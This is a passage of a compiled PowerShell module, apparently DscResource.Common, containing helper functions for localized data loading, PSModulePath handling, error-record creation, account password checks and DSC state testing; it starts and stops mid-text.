only search in the BaseDirectory specified. It then searches within the base directory for a subdirectory with the same name as the value of the $DefaultUICulture variable (specified or default to en-US), such as de-DE or ar-SA. Then, it searches in that subdirectory for a .psd1 file with the same name as provided FileName such as FileName.psd1 or FileName.strings.psd1. .EXAMPLE Get-LocalizedDataForInvariantCulture -BaseDirectory .\source\ -FileName DscResource.Common -DefaultUICulture en-US This is an example, usually it is only used by Get-LocalizedData in DSC resources to import the localized strings when the Culture is Invariant (id 127). #> function Get-LocalizedDataForInvariantCulture { [CmdletBinding()] param ( [Parameter(Mandatory = $true)] [System.String] $BaseDirectory, [Parameter(Mandatory = $true, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true)] [System.String] $FileName, [Parameter()] [System.String] [ValidateNotNull()] $DefaultUICulture = 'en-US' ) begin { if ($FileName -match '\.psm1$|\.ps1$|\.psd1$') { Write-Debug -Message 'Found an extension to the file name to search. Stripping...' $FileName = $FileName -replace '\.psm1$|\.ps1$|\.psd1$' } [string] $languageFile = '' $localizedFolder = Join-Path -Path $BaseDirectory -ChildPath $DefaultUICulture [string[]] $localizedFileNamesToTry = @( ('{0}.psd1' -f $FileName) ('{0}.strings.psd1' -f $FileName) ) foreach ($localizedFileName in $localizedFileNamesToTry) { $filePath = [System.IO.Path]::Combine($localizedFolder, $localizedFileName) if (Test-Path -Path $filePath) { Write-Debug -Message "Found '$filePath'." $languageFile = $filePath # Exit loop as we found the first filename. break } else { Write-Debug -Message "File '$filePath' not found." } } if ([string]::IsNullOrEmpty($languageFile)) { throw ('File ''{0}'' not found in ''{1}''.' -f ($localizedFileNamesToTry -join ','),$localizedFolder) } else { Write-Verbose -Message ('Getting file {0}' -f $languageFile) } $constrainedState = [System.Management.Automation.Runspaces.InitialSessionState]::Create() if (!$IsCoreCLR) { $constrainedState.ApartmentState = [System.Threading.ApartmentState]::STA } $constrainedState.LanguageMode = [System.Management.Automation.PSLanguageMode]::ConstrainedLanguage $constrainedState.DisableFormatUpdates = $true $sspe = New-Object System.Management.Automation.Runspaces.SessionStateProviderEntry 'Environment',([Microsoft.PowerShell.Commands.EnvironmentProvider]),$null $constrainedState.Providers.Add($sspe) $sspe = New-Object System.Management.Automation.Runspaces.SessionStateProviderEntry 'FileSystem',([Microsoft.PowerShell.Commands.FileSystemProvider]),$null $constrainedState.Providers.Add($sspe) $ssce = New-Object System.Management.Automation.Runspaces.SessionStateCmdletEntry 'Get-Content',([Microsoft.PowerShell.Commands.GetContentCommand]),$null $constrainedState.Commands.Add($ssce) $ssce = New-Object System.Management.Automation.Runspaces.SessionStateCmdletEntry 'Get-Date',([Microsoft.PowerShell.Commands.GetDateCommand]),$null $constrainedState.Commands.Add($ssce) $ssce = New-Object System.Management.Automation.Runspaces.SessionStateCmdletEntry 'Get-ChildItem',([Microsoft.PowerShell.Commands.GetChildItemCommand]),$null $constrainedState.Commands.Add($ssce) $ssce = New-Object System.Management.Automation.Runspaces.SessionStateCmdletEntry 'Get-Item',([Microsoft.PowerShell.Commands.GetItemCommand]),$null $constrainedState.Commands.Add($ssce) $ssce = New-Object System.Management.Automation.Runspaces.SessionStateCmdletEntry 'Test-Path',([Microsoft.PowerShell.Commands.TestPathCommand]),$null $constrainedState.Commands.Add($ssce) $ssce = New-Object System.Management.Automation.Runspaces.SessionStateCmdletEntry 'Out-String',([Microsoft.PowerShell.Commands.OutStringCommand]),$null $constrainedState.Commands.Add($ssce) $ssce = New-Object System.Management.Automation.Runspaces.SessionStateCmdletEntry 'ConvertFrom-StringData',([Microsoft.PowerShell.Commands.ConvertFromStringDataCommand]),$null $constrainedState.Commands.Add($ssce) # $scopedItemOptions = [System.Management.Automation.ScopedItemOptions]::AllScope # Create new runspace with the above defined entries. Then open and set its working dir to $destinationAbsolutePath # so all condition attribute expressions can use a relative path to refer to file paths e.g. # condition="Test-Path src\${PLASTER_PARAM_ModuleName}.psm1" $constrainedRunspace = [System.Management.Automation.Runspaces.RunspaceFactory]::CreateRunspace($constrainedState) $constrainedRunspace.Open() $destinationAbsolutePath = (Get-Item -Path $BaseDirectory -ErrorAction Stop).FullName $null = $constrainedRunspace.SessionStateProxy.Path.SetLocation($destinationAbsolutePath) } process { try { $powershell = [PowerShell]::Create() $powershell.Runspace = $constrainedRunspace $expression = Get-Content -Raw -Path $languageFile try { $null = $powershell.AddScript($expression) $powershell.Invoke() } catch { throw $_ } # Check for non-terminating errors. if ($powershell.Streams.Error.Count -gt 0) { $powershell.Streams.Error.ForEach({ Write-Error $_ }) } } finally { if ($powershell) { $powershell.Dispose() } } } end { $constrainedRunspace.Dispose() } } #EndRegion './Public/Get-LocalizedDataForInvariantCulture.ps1' 229 #Region './Public/Get-PSModulePath.ps1' -1 <# .SYNOPSIS Returns the individual scope path or the environment variable PSModulePath from one or more of the specified targets. .DESCRIPTION Returns the individual scope path or the environment variable PSModulePath from one or more of the specified targets. If more than one target is provided in the parameter FromTarget the return value will contain the concatenation of all unique paths from the targets. If there are no paths to return the command will return an empty string. .PARAMETER FromTarget Specifies the environment target to get the PSModulePath from. .PARAMETER Scope Specifies the scope to get the individual module path of. .OUTPUTS System.String .EXAMPLE Get-PSModulePath Returns the module path to the CurrentUser scope. .EXAMPLE Get-PSModulePath -Scope 'CurrentUser' Returns the module path to the CurrentUser scope. .EXAMPLE Get-PSModulePath -Scope 'AllUsers' Returns the module path to the AllUsers scope. .EXAMPLE Get-PSModulePath -Scope 'Builtin' Returns the module path to the Builtin scope. This is the module path containing the modules that ship with PowerShell. .EXAMPLE Get-PSModulePath -FromTarget 'Session' Returns the paths from the Session target. .EXAMPLE Get-PSModulePath -FromTarget 'Session', 'User', 'Machine' Returns the unique paths from the all targets. .OUTPUTS [System.String] If there are no paths to return the command will return an empty string. #> function Get-PSModulePath { [CmdletBinding(DefaultParameterSetName = 'Scope')] [OutputType([System.String])] param ( [Parameter(Mandatory = $true, ParameterSetName = 'FromTarget')] [ValidateSet('Session', 'User', 'Machine')] [System.String[]] $FromTarget, [Parameter(ParameterSetName = 'Scope')] [ValidateSet('CurrentUser', 'AllUsers', 'Builtin')] [System.String] $Scope = 'CurrentUser' ) if ($PSCmdlet.ParameterSetName -eq 'FromTarget') { $modulePathSession = $modulePathUser = $modulePathMachine = $null <# Get the environment variables from required targets. The value returned is cast to System.String to convert $null values to empty string. #> switch ($FromTarget) { 'Session' { $modulePathSession = Get-EnvironmentVariable -Name 'PSModulePath' -FromTarget 'Session' continue } 'User' { $modulePathUser = Get-EnvironmentVariable -Name 'PSModulePath' -FromTarget 'User' continue } 'Machine' { $modulePathMachine = Get-EnvironmentVariable -Name 'PSModulePath' -FromTarget 'Machine' continue } } $modulePath = $modulePathSession, $modulePathUser, $modulePathMachine -join [System.IO.Path]::PathSeparator $modulePathArray = $modulePath -split [System.IO.Path]::PathSeparator | Where-Object -FilterScript { -not [System.String]::IsNullOrEmpty($_) } | Sort-Object -Unique $modulePath = $modulePathArray -join [System.IO.Path]::PathSeparator } if ($PSCmdlet.ParameterSetName -eq 'Scope') { switch ($Scope) { 'CurrentUser' { $modulePath = if ($IsLinux -or $IsMacOS) { # Must be correct case on case-sensitive file systems. Join-Path -Path $HOME -ChildPath '.local/share/powershell/Modules' } else { $documentsFolder = [Environment]::GetFolderPath('MyDocuments') # When the $documentsFolder is null or empty string the folder does not exist. if ([System.String]::IsNullOrEmpty($documentsFolder)) { $PSCmdlet.ThrowTerminatingError( [System.Management.Automation.ErrorRecord]::new( ($script:localizedData.PSModulePath_MissingMyDocumentsPath -f (Get-UserName)), 'MissingMyDocumentsPath', [System.Management.Automation.ErrorCategory]::ResourceUnavailable, (Get-UserName) ) ) } if ($IsCoreCLR) { Join-Path -Path $documentsFolder -ChildPath 'PowerShell/Modules' } else { Join-Path -Path $documentsFolder -ChildPath 'WindowsPowerShell/Modules' } } break } 'AllUsers' { $modulePath = if ($IsLinux -or $IsMacOS) { '/usr/local/share/powershell/Modules' } else { Join-Path -Path $env:ProgramFiles -ChildPath 'WindowsPowerShell/Modules' } break } 'BuiltIn' { # cSPell: ignore PSHOME $modulePath = Join-Path -Path $PSHOME -ChildPath 'Modules' break } } } return $modulePath } #EndRegion './Public/Get-PSModulePath.ps1' 186 #Region './Public/Get-TemporaryFolder.ps1' -1 <# .SYNOPSIS Returns the path of the current user's temporary folder. .DESCRIPTION Returns the path of the current user's temporary folder. .OUTPUTS System.String .NOTES This is the same as doing the following - Windows: $env:TEMP - macOS: $env:TMPDIR - Linux: /tmp/ Examples of what the command returns: - Windows: C:\Users\username\AppData\Local\Temp\ - macOS: /var/folders/6x/thq2xce46bc84lr66fih2p5h0000gn/T/ - Linux: /tmp/ .EXAMPLE Get-TemporaryFolder Returns the current user temporary folder on the current operating system. #> function Get-TemporaryFolder { [CmdletBinding()] [OutputType([System.String])] param () return [IO.Path]::GetTempPath() } #EndRegion './Public/Get-TemporaryFolder.ps1' 36 #Region './Public/Get-UserName.ps1' -1 <# .SYNOPSIS Returns the user name cross-plattform. .DESCRIPTION Returns the current user name cross-plattform. The variable `$env:USERNAME` does not exist cross-platform which hinders development and testing on macOS and Linux. Instead this command can be used to get the user name cross-plattform. .OUTPUTS System.String .EXAMPLE Get-UserName Returns the user name regardless of platform. #> function Get-UserName { [CmdletBinding()] [OutputType([System.String])] param () $userName = $null if ($IsLinux -or $IsMacOs) { $userName = $env:USER } else { $userName = $env:USERNAME } return $userName } #EndRegion './Public/Get-UserName.ps1' 38 #Region './Public/New-ArgumentException.ps1' -1 <# .SYNOPSIS Creates and throws or returns an invalid argument exception. .DESCRIPTION Creates and throws or returns an invalid argument exception. .PARAMETER Message The message explaining why this error is being thrown. .PARAMETER ArgumentName The name of the invalid argument that is causing this error to be thrown. .PARAMETER PassThru If specified, returns the error record instead of throwing it. .OUTPUTS None System.ArgumentException .EXAMPLE New-ArgumentException -ArgumentName 'Action' -Message 'My error message' Creates and throws an invalid argument exception for (parameter) 'Action' with the message 'My error message'. .EXAMPLE $errorRecord = New-ArgumentException -ArgumentName 'Action' -Message 'My error message' -PassThru Creates an invalid argument exception for (parameter) 'Action' with the message 'My error message' and returns the exception. #> function New-ArgumentException { [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] [CmdletBinding()] [Alias('New-InvalidArgumentException')] [OutputType([System.ArgumentException])] param ( [Parameter(Mandatory = $true)] [ValidateNotNullOrEmpty()] [System.String] $Message, [Parameter(Mandatory = $true)] [ValidateNotNullOrEmpty()] [System.String] $ArgumentName, [Parameter()] [System.Management.Automation.SwitchParameter] $PassThru ) $argumentException = New-Object -TypeName 'System.ArgumentException' ` -ArgumentList @($Message, $ArgumentName) $errorRecord = New-ErrorRecord -Exception $argumentException -ErrorId $ArgumentName -ErrorCategory 'InvalidArgument' if ($PassThru.IsPresent) { return $argumentException } else { throw $errorRecord } } #EndRegion './Public/New-ArgumentException.ps1' 71 #Region './Public/New-ErrorRecord.ps1' -1 <# .SYNOPSIS Creates a new ErrorRecord. .DESCRIPTION The New-ErrorRecord function creates a new ErrorRecord with the specified parameters. .PARAMETER ErrorRecord Specifies an existing ErrorRecord. .PARAMETER Exception Specifies the exception that caused the error. If an error record is passed to parameter ErrorRecord and if the wrapped exception in the error record contains a `[System.Management.Automation.ParentContainsErrorRecordException]`, the new ErrorRecord should have this exception as its Exception instead. .PARAMETER ErrorCategory Specifies the category of the error. .PARAMETER TargetObject Specifies the object that was being manipulated when the error occurred. .PARAMETER ErrorId Specifies a string that uniquely identifies the error. .EXAMPLE $ex = New-Exception -Message 'An error occurred.' $errorRecord = New-ErrorRecord -Exception $ex -ErrorCategory 'InvalidOperation' This example creates a new ErrorRecord with the specified parameters. Passing 'InvalidOperation' which is one available value of the enum `[System.Management.Automation.ErrorCategory]`. .EXAMPLE $ex = New-Exception -Message 'An error occurred.' $errorRecord = New-ErrorRecord -Exception $ex -ErrorCategory 'InvalidOperation' -TargetObject $myObject This example creates a new ErrorRecord with the specified parameters. TargetObject is set to the object that was being manipulated when the error occurred. .EXAMPLE $ex = New-Exception -Message 'An error occurred.' $errorRecord = New-ErrorRecord -Exception $ex -ErrorCategory 'InvalidOperation' -ErrorId 'MyErrorId' This example creates a new ErrorRecord with the specified parameters. Passing ErrorId that will be set as the FullyQualifiedErrorId in the error record. .EXAMPLE $existingErrorRecord = [System.Management.Automation.ErrorRecord]::new( [System.Management.Automation.ParentContainsErrorRecordException]::new('Existing error'), 'ExistingErrorId', [System.Management.Automation.ErrorCategory]::InvalidOperation, $null ) $newException = [System.Exception]::new('New error') $newErrorRecord = New-ErrorRecord -ErrorRecord $existingErrorRecord -Exception $newException $newErrorRecord.Exception.Message This example first creates an emulated ErrorRecord that contain a `ParentContainsErrorRecordException` which will be replaced by the new exception passed to New-ErrorRecord. The result of `$newErrorRecord.Exception.Message` will be 'New error'. .INPUTS System.Management.Automation.ErrorRecord, System.Exception, System.Management.Automation.ErrorCategory, System.Object, System.String .OUTPUTS System.Management.Automation.ErrorRecord .NOTES The function supports two parameter sets: 'ErrorRecord' and 'Exception'. If the 'ErrorRecord' parameter set is used, the function creates a new ErrorRecord based on an existing one and an exception. If the 'Exception' parameter set is used, the function creates a new ErrorRecord based on an exception, an error category, a target object, and an error ID. #> function New-ErrorRecord { [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '', Justification = 'The command does not change state.')] [CmdletBinding(DefaultParameterSetName = 'Exception')] [OutputType([System.Management.Automation.ErrorRecord])] param ( [Parameter(Mandatory = $true, ParameterSetName = 'ErrorRecord')] [System.Management.Automation.ErrorRecord] $ErrorRecord, [Parameter(Mandatory = $true, ParameterSetName = 'ErrorRecord')] [Parameter(Mandatory = $true, ParameterSetName = 'Exception')] [System.Exception] $Exception, [Parameter(Mandatory = $true, ParameterSetName = 'Exception')] [System.Management.Automation.ErrorCategory] $ErrorCategory, [Parameter(ParameterSetName = 'Exception')] [System.Object] $TargetObject = $null, [Parameter(ParameterSetName = 'Exception')] [System.String] $ErrorId = $null ) switch ($PSCmdlet.ParameterSetName) { 'ErrorRecord' { $errorRecord = New-Object -TypeName 'System.Management.Automation.ErrorRecord' -ArgumentList @( $ErrorRecord, $Exception ) break } 'Exception' { $errorRecord = New-Object -TypeName 'System.Management.Automation.ErrorRecord' -ArgumentList @( $Exception, $ErrorId, $ErrorCategory, $TargetObject ) break } } return $errorRecord } #EndRegion './Public/New-ErrorRecord.ps1' 130 #Region './Public/New-Exception.ps1' -1 <# .SYNOPSIS Creates and returns an exception. .DESCRIPTION Creates an exception that will be returned. .OUTPUTS None .PARAMETER Message The message explaining why this error is being thrown. .PARAMETER ErrorRecord The error record containing the exception that is causing this terminating error. .OUTPUTS System.Exception .EXAMPLE $errorRecord = New-Exception -Message 'An error occurred' Creates and returns an exception with the message 'An error occurred'. .EXAMPLE try { Get-ChildItem -Path $path -ErrorAction 'Stop' } catch { $exception = New-Exception -Message 'Could not get files' -ErrorRecord $_ } Returns an exception with the message 'Could not get files' and includes the exception that caused this terminating error. #> function New-Exception { [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] [CmdletBinding()] [OutputType([System.Exception])] param ( [Parameter(Mandatory = $true)] [ValidateNotNullOrEmpty()] [System.String] $Message, [Parameter()] [ValidateNotNull()] [System.Management.Automation.ErrorRecord] $ErrorRecord ) if ($null -eq $ErrorRecord) { $exception = New-Object -TypeName 'System.Exception' ` -ArgumentList @($Message) } else { $exception = New-Object -TypeName 'System.Exception' ` -ArgumentList @($Message, $ErrorRecord.Exception) } return $exception } #EndRegion './Public/New-Exception.ps1' 70 #Region './Public/New-InvalidDataException.ps1' -1 <# .SYNOPSIS Creates and throws an invalid data exception. .DESCRIPTION Creates and throws an invalid data exception. .OUTPUTS None .PARAMETER ErrorId The error Id to assign to the exception. .PARAMETER Message The error message to assign to the exception. .EXAMPLE New-InvalidDataException -ErrorId 'InvalidDataError' -Message 'My error message' Creates and throws an invalid data exception with the error id 'InvalidDataError' and with the message 'My error message'. #> function New-InvalidDataException { [System.Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] [CmdletBinding()] param ( [Parameter(Mandatory = $true)] [System.String] $ErrorId, [Parameter(Mandatory = $true)] [Alias('ErrorMessage')] [System.String] $Message ) $errorCategory = [System.Management.Automation.ErrorCategory]::InvalidData $exception = New-Object ` -TypeName 'System.InvalidOperationException' ` -ArgumentList $Message $errorRecord = New-ErrorRecord -Exception $exception -ErrorId $ErrorId -ErrorCategory $errorCategory throw $errorRecord } #EndRegion './Public/New-InvalidDataException.ps1' 49 #Region './Public/New-InvalidOperationException.ps1' -1 <# .SYNOPSIS Creates and throws or returns an invalid operation exception. .DESCRIPTION Creates and throws or returns an invalid operation exception. .OUTPUTS None. If the PassThru parameter is not specified the command throws an error record. System.InvalidOperationException. If the PassThru parameter is specified the command returns an error record. .PARAMETER Message The message explaining why this error is being thrown. .PARAMETER ErrorRecord The error record containing the exception that is causing this terminating error. .PARAMETER PassThru If specified, returns the error record instead of throwing it. .EXAMPLE try { Start-Process @startProcessArguments } catch { New-InvalidOperationException -Message 'My error message' -ErrorRecord $_ } Creates and throws an invalid operation exception with the message 'My error message' and includes the exception that caused this terminating error. .EXAMPLE $errorRecord = New-InvalidOperationException -Message 'My error message' -PassThru Creates and returns an invalid operation exception with the message 'My error message'. #> function New-InvalidOperationException { [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] [CmdletBinding()] [OutputType([System.InvalidOperationException])] param ( [Parameter(Mandatory = $true)] [ValidateNotNullOrEmpty()] [System.String] $Message, [Parameter()] [ValidateNotNull()] [System.Management.Automation.ErrorRecord] $ErrorRecord, [Parameter()] [System.Management.Automation.SwitchParameter] $PassThru ) if ($null -eq $ErrorRecord) { $invalidOperationException = New-Object -TypeName 'System.InvalidOperationException' ` -ArgumentList @($Message) } else { $invalidOperationException = New-Object -TypeName 'System.InvalidOperationException' ` -ArgumentList @($Message, $ErrorRecord.Exception) } $errorRecord = New-ErrorRecord -Exception $invalidOperationException.ToString() -ErrorId 'MachineStateIncorrect' -ErrorCategory 'InvalidOperation' if ($PassThru.IsPresent) { return $invalidOperationException } else { throw $errorRecord } } #EndRegion './Public/New-InvalidOperationException.ps1' 83 #Region './Public/New-InvalidResultException.ps1' -1 <# .SYNOPSIS Creates and throws an invalid result exception. .DESCRIPTION Creates and throws an invalid result exception. .PARAMETER Message The message explaining why this error is being thrown. .PARAMETER ErrorRecord The error record containing the exception that is causing this terminating error. .OUTPUTS None .EXAMPLE $numberOfObjects = Get-ChildItem -Path $path if ($numberOfObjects -eq 0) { New-InvalidResultException -Message 'To few files' } Creates and throws an invalid result exception with the message 'To few files' .EXAMPLE try { $numberOfObjects = Get-ChildItem -Path $path } catch { New-InvalidResultException -Message 'Missing files' -ErrorRecord $_ } Creates and throws an invalid result exception with the message 'Missing files' and includes the exception that caused this terminating error. #> function New-InvalidResultException { [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] [CmdletBinding()] param ( [Parameter(Mandatory = $true)] [ValidateNotNullOrEmpty()] [System.String] $Message, [Parameter()] [ValidateNotNull()] [System.Management.Automation.ErrorRecord] $ErrorRecord ) $exception = New-Exception @PSBoundParameters $errorRecord = New-ErrorRecord -Exception $exception.ToString() -ErrorId 'MachineStateIncorrect' -ErrorCategory 'InvalidResult' throw $errorRecord } #EndRegion './Public/New-InvalidResultException.ps1' 62 #Region './Public/New-NotImplementedException.ps1' -1 <# .SYNOPSIS Creates and throws or returns an not implemented exception. .DESCRIPTION Creates and throws or returns an not implemented exception. .PARAMETER Message The message explaining why this error is being thrown. .PARAMETER ErrorRecord The error record containing the exception that is causing this terminating error. .PARAMETER PassThru If specified, returns the error record instead of throwing it. .OUTPUTS None System.NotImplementedException .EXAMPLE if ($notImplementedFeature) { New-NotImplementedException -Message 'This feature is not implemented yet' } Creates and throws an not implemented exception with the message 'This feature is not implemented yet'. .EXAMPLE $errorRecord = New-NotImplementedException -Message 'This feature is not implemented yet' -PassThru Creates and returns an not implemented exception with the message 'This feature is not implemented yet'. #> function New-NotImplementedException { [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] [CmdletBinding()] [OutputType([System.NotImplementedException])] param ( [Parameter(Mandatory = $true)] [ValidateNotNullOrEmpty()] [System.String] $Message, [Parameter()] [ValidateNotNull()] [System.Management.Automation.ErrorRecord] $ErrorRecord, [Parameter()] [System.Management.Automation.SwitchParameter] $PassThru ) if ($null -eq $ErrorRecord) { $notImplementedException = New-Object -TypeName 'System.NotImplementedException' ` -ArgumentList @($Message) } else { $notImplementedException = New-Object -TypeName 'System.NotImplementedException' ` -ArgumentList @($Message, $ErrorRecord.Exception) } $errorRecord = New-ErrorRecord -Exception $notImplementedException.ToString() -ErrorId 'MachineStateIncorrect' -ErrorCategory 'NotImplemented' if ($PassThru.IsPresent) { return $notImplementedException } else { throw $errorRecord } } #EndRegion './Public/New-NotImplementedException.ps1' 80 #Region './Public/New-ObjectNotFoundException.ps1' -1 <# .SYNOPSIS Creates and throws an object not found exception. .DESCRIPTION Creates and throws an object not found exception. .OUTPUTS None .PARAMETER Message The message explaining why this error is being thrown. .PARAMETER ErrorRecord The error record containing the exception that is causing this terminating error. .OUTPUTS None .EXAMPLE try { Get-ChildItem -Path $path } catch { New-ObjectNotFoundException -Message 'Could not get files' -ErrorRecord $_ } Creates and throws an object not found exception with the message 'Could not get files' and includes the exception that caused this terminating error. #> function New-ObjectNotFoundException { [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] [CmdletBinding()] param ( [Parameter(Mandatory = $true)] [ValidateNotNullOrEmpty()] [System.String] $Message, [Parameter()] [ValidateNotNull()] [System.Management.Automation.ErrorRecord] $ErrorRecord ) $exception = New-Exception @PSBoundParameters $errorRecord = New-ErrorRecord -Exception $exception.ToString() -ErrorId 'MachineStateIncorrect' -ErrorCategory 'ObjectNotFound' throw $errorRecord } #EndRegion './Public/New-ObjectNotFoundException.ps1' 56 #Region './Public/Remove-CommonParameter.ps1' -1 <# .SYNOPSIS Removes common parameters from a hashtable. .DESCRIPTION This function serves the purpose of removing common parameters and option common parameters from a parameter hashtable. .OUTPUTS System.Collections.Hashtable .PARAMETER Hashtable The parameter hashtable that should be pruned. .EXAMPLE Remove-CommonParameter -Hashtable $PSBoundParameters Returns a new hashtable without the common and optional common parameters. #> function Remove-CommonParameter { [Diagnostics.CodeAnalysis.SuppressMessageAttribute( 'PSUseShouldProcessForStateChangingFunctions', '', Justification = 'ShouldProcess is not supported in DSC resources.' )] [OutputType([System.Collections.Hashtable])] [CmdletBinding()] param ( [Parameter(Mandatory = $true)] [System.Collections.Hashtable] $Hashtable ) $inputClone = $Hashtable.Clone() $commonParameters = [System.Management.Automation.PSCmdlet]::CommonParameters $commonParameters += [System.Management.Automation.PSCmdlet]::OptionalCommonParameters $Hashtable.Keys | Where-Object -FilterScript { $_ -in $commonParameters } | ForEach-Object -Process { $inputClone.Remove($_) } return $inputClone } #EndRegion './Public/Remove-CommonParameter.ps1' 49 #Region './Public/Set-DscMachineRebootRequired.ps1' -1 <# .SYNOPSIS Set the DSC reboot required status variable. .DESCRIPTION Sets the global DSCMachineStatus variable to a value of 1. This function is used to set the global variable that indicates to the LCM that a reboot of the node is required. .OUTPUTS None .EXAMPLE Set-DscMachineRebootRequired Sets the `$global:DSCMachineStatus` variable to 1. .NOTES This function is implemented so that individual resource modules do not need to use and therefore suppress Global variables directly. It also enables mocking to increase testability of consumers. #> function Set-DscMachineRebootRequired { [System.Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] # Suppressing this rule because $global:DSCMachineStatus is used to trigger a reboot. [System.Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidGlobalVars', '')] <# Suppressing this rule because $global:DSCMachineStatus is only set, never used (by design of Desired State Configuration). #> [System.Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [CmdletBinding()] param ( ) $global:DSCMachineStatus = 1 } #EndRegion './Public/Set-DscMachineRebootRequired.ps1' 41 #Region './Public/Set-PSModulePath.ps1' -1 <# .SYNOPSIS Set environment variable PSModulePath in the current session or machine wide. .DESCRIPTION This is a command to set environment variable PSModulePath in current session or machine wide. .OUTPUTS None .PARAMETER Path A string with all the paths separated by semi-colons. .PARAMETER Machine If set the PSModulePath will be changed machine wide. If not set, only the current session will be changed. .PARAMETER FromTarget The target environment variable to copy the value from. .PARAMETER ToTarget The target environment variable to set the value to. .PARAMETER PassThru If specified, returns the set value. .EXAMPLE Set-PSModulePath -Path '<Path 1>;<Path 2>' Sets the session environment variable `PSModulePath` to the specified path or paths (separated with semi-colons). .EXAMPLE Set-PSModulePath -Path '<Path 1>;<Path 2>' -Machine Sets the machine environment variable `PSModulePath` to the specified path or paths (separated with semi-colons). .EXAMPLE Set-PSModulePath -FromTarget 'MAchine' -ToTarget 'User' Copies the value of the machine environment variable `PSModulePath` to the user environment variable `PSModulePath`. #> function Set-PSModulePath { [Diagnostics.CodeAnalysis.SuppressMessageAttribute( 'PSUseShouldProcessForStateChangingFunctions', '', Justification = 'ShouldProcess is not supported in DSC resources.' )] [CmdletBinding(DefaultParameterSetName = 'Default')] [OutputType([System.String])] param ( [Parameter(Mandatory = $true, ParameterSetName = 'Default')] [ValidateNotNullOrEmpty()] [System.String] $Path, [Parameter(ParameterSetName = 'Default')] [System.Management.Automation.SwitchParameter] $Machine, [Parameter(Mandatory = $true, ParameterSetName = 'TargetParameters')] [ValidateSet('Session', 'User', 'Machine')] [System.String] $FromTarget, [Parameter(Mandatory = $true, ParameterSetName = 'TargetParameters')] [ValidateSet('Session', 'User', 'Machine')] [System.String] $ToTarget, [Parameter()] [System.Management.Automation.SwitchParameter] $PassThru ) if ($PSCmdlet.ParameterSetName -eq 'Default') { if ($Machine.IsPresent) { [System.Environment]::SetEnvironmentVariable('PSModulePath', $Path, [System.EnvironmentVariableTarget]::Machine) } else { $env:PSModulePath = $Path } } elseif ($PSCmdlet.ParameterSetName -eq 'TargetParameters') { $Path = Get-EnvironmentVariable -Name 'PSModulePath' -FromTarget $FromTarget switch ($ToTarget) { 'Session' { [System.Environment]::SetEnvironmentVariable('PSModulePath', $Path) } default { [System.Environment]::SetEnvironmentVariable('PSModulePath', $Path, [System.EnvironmentVariableTarget]::$ToTarget) } } } if ($PassThru.IsPresent) { return $Path } } #EndRegion './Public/Set-PSModulePath.ps1' 116 #Region './Public/Test-AccountRequirePassword.ps1' -1 <# .SYNOPSIS Returns whether the specified account require a password to be provided. .DESCRIPTION Returns whether the specified account require a password to be provided. If the account is a (global) managed service account, virtual account, or a built-in account then there is no need to provide a password. .PARAMETER Name Credential name for the account. .EXAMPLE Test-AccountRequirePassword -Name 'DOMAIN\MyMSA$' Returns `$false` as a manged service account does not need a password. .EXAMPLE Test-AccountRequirePassword -Name 'DOMAIN\MySqlUser' Returns `$true` as a user account need a password. .EXAMPLE Test-AccountRequirePassword -Name 'NT SERVICE\MSSQL$PAYROLL' Returns `$false`as a virtual account does not need a password. .OUTPUTS [System.Boolean] #> function Test-AccountRequirePassword { [CmdletBinding()] [OutputType([System.Boolean])] param ( [Parameter(Mandatory = $true)] [System.String] $Name ) # Assume local or domain service account. $requirePassword = $true switch -Regex ($Name.ToUpper()) { # Built-in account. '^(?:NT ?AUTHORITY\\)?(SYSTEM|LOCALSERVICE|LOCAL SERVICE|NETWORKSERVICE|NETWORK SERVICE)$' # CSpell: disable-line { $requirePassword = $false break } # Virtual account. '^(?:NT SERVICE\\)(.*)$' { $requirePassword = $false break } # (Global) Managed Service Account. '\$$' { $requirePassword = $false break } } return $requirePassword } #EndRegion './Public/Test-AccountRequirePassword.ps1' 74 #Region './Public/Test-DscParameterState.ps1' -1 <# .SYNOPSIS This command is used to test current and desired values for any DSC resource. .DESCRIPTION This function tests the parameter status of DSC resource parameters against the current values present on the system. This command was designed to be used in a DSC resource from only _Test_. The design pattern that uses the command `Test-DscParameterState` assumes that LCM is used which always calls _Test_ before _Set_, or that there never is a need to evaluate the state in _Set_. .PARAMETER CurrentValues A hashtable with the current values on the system, obtained by e.g. Get-TargetResource. .PARAMETER DesiredValues The hashtable of desired values. For example $PSBoundParameters with the desired values. .PARAMETER Properties This is a list of properties in the desired values list should be checked. If this is empty then all values in DesiredValues are checked. .PARAMETER ExcludeProperties This is a list of which properties in the desired values list should be checked. If this is empty then all values in DesiredValues are checked. .PARAMETER TurnOffTypeChecking Indicates that the type of the parameter should not be checked. .PARAMETER ReverseCheck Indicates that a reverse check should be done. The current and desired state are swapped for another test. .PARAMETER SortArrayValues If the sorting of array values does not matter, values are sorted internally before doing the comparison. .OUTPUTS [System.Boolean] .EXAMPLE $currentState = Get-TargetResource @PSBoundParameters $returnValue = Test-DscParameterState -CurrentValues $currentState -DesiredValues $PSBoundParameters The function Get-TargetResource is called first using all bound parameters to get the values in the current state. The result is then compared to the desired state by calling `Test-DscParameterState`. The result is either `$true` or `$false`, `$false` if one or more properties are not in desired state. .EXAMPLE $getTargetResourceParameters = @{ ServerName = $ServerName InstanceName = $InstanceName Name = $Name } $returnValue = Test-DscParameterState ` -CurrentValues (Get-TargetResource @getTargetResourceParameters) ` -DesiredValues $PSBoundParameters ` -ExcludeProperties @( 'FailsafeOperator' 'NotificationMethod' ) This compares the values in the current state against the desires state. The function Get-TargetResource is called using just the required parameters to get the values in the current state. The parameter 'ExcludeProperties' is 